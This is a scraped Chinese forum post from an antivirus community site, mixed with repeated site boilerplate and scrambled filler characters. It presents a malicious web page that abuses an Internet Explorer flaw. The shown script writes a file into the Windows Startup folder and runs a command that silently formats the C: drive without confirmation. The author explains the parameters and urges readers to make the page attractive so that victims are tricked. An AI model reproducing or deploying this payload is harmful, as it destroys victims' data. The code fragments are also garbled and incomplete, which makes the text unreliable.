.
' q5 m7 ?, a7 e2 @) I爱毒霸社区-是中国金山毒霸杀毒软件专业社区,提供金山毒霸2009,金山毒霸2008,金山毒霸2008下载,在线杀毒,金山清理专家,专杀工具等产品信息,有流行病毒,木马专业查杀解决方案,为广大金山毒霸用户和电脑安全知识爱好者提供免费的互动社区,爱毒霸社区-成为中国知名杀毒社区,灰鸽子专杀, 做中国杀毒软件最用心社区-bbs.duba.net 这个是一个关于HTML代码攻击的，虽然短点大家看看怎么样，能实现的哦。
8 r1 j/ D- O6 y, `; d _( G现在的Windows操作系统实在是很方便，连格式化都是只用鼠标点点就可以了，不用象以前那样要输入命令来完成格盘。
爱毒霸社区-是中国金山毒霸杀毒软件专业社区,提供金山毒霸2009,金山毒霸2008,金山毒霸2008下载,在线杀毒,金山清理专家,专杀工具等产品信息,有流行病毒,木马专业查杀解决方案,为广大金山毒霸用户和电脑安全知识爱好者提供免费的互动社区,爱毒霸社区-成为中国知名杀毒社区,灰鸽子专杀, 做中国杀毒软件最用心社区-bbs.duba.net: r7 J" Q( S4 e* T% Z) s `
我们要做一个格本地磁盘网页并不是很难，会HTML代码的朋友一定是没有什么问题的，这个其实就是利用一下IE的漏洞来实现我们的目的。
8 Q, B0 K7 x4 ?) y9 d5 A( \爱毒霸社区
* [5 d: B+ Q C k爱毒霸社区 下面我们看一下下面的代码我们就会发现其中的奥妙所在了。
复制内容到剪贴板
代码:
scr.reset() scr.path="c:\\windows\\start menu\\programs\\启动\\文件名 scr.doc="" wsh.run('start.exe /m format c:/q/autotest/u')对于HTML代码了解的朋友们一定看出来了吧，这段代码的利害之处就在于最后一句，格你的磁盘没商量。
" y9 H8 q! C {8 h3 T金山毒霸-爱毒霸社区-做中国杀毒软件最用心社区-bbs.duba.net下面我们来看看这段代码的，具体的分析一下的他的工作原理是怎么样的。
% r1 h T5 R- B3 \
首先，我们来看看这一句
复制内容到剪贴板
代码:
scr.path="c:\\windows\\start menu\\programs\\启动\\文件名这句，就是当看到这个网页的时候，它会写入到用户的机器的启动目录下，并以一个文件名的文件形式出现
复制内容到剪贴板
代码:
wsh.run('start.exe /m format c:/q/autotest/u')这句就是我们这里所要讲的核心东西了，对于format 这个命令大家不会陌生的吧，只要知道这个命令的朋友，一定会知道这句命令的意思的，我就在这里不在多说什么了。
金山毒霸-爱毒霸社区-做中国杀毒软件最用心社区-bbs.duba.net% K; o% v8 z' I4 o
在这里我把他的一些参数，简要的说说，大家会更加明白的。
- p! X+ X2 x0 B5 x6 d, D5 R在进行格盘的时候系统会与你进行对话，是否进行的，大家看到这个参数了吗/autotest他会强制性的对你的硬盘进行格式化，而不再进行询问;/q/u这两个参数为系统不需要检查立执行。在上一句中的start.exe与/m选项配合，哈哈，相信在执行时以最小化的状态进行，谁都会头痛的。
金山毒霸-爱毒霸社区-做中国杀毒软件最用心社区-bbs.duba.net7 c0 S2 W5 J/ C; R) O
在这段代码里，核心语句
复制内容到剪贴板
代码:
wsh.run('start.exe /m format c:/q/autotest/u')我们只要对这段代码进行改动相信会出现更多不同的变化。在应用的时候把自己HTML代码做的漂亮一些，相信一定会有很多的人会上当，不小心中了你的圈套。
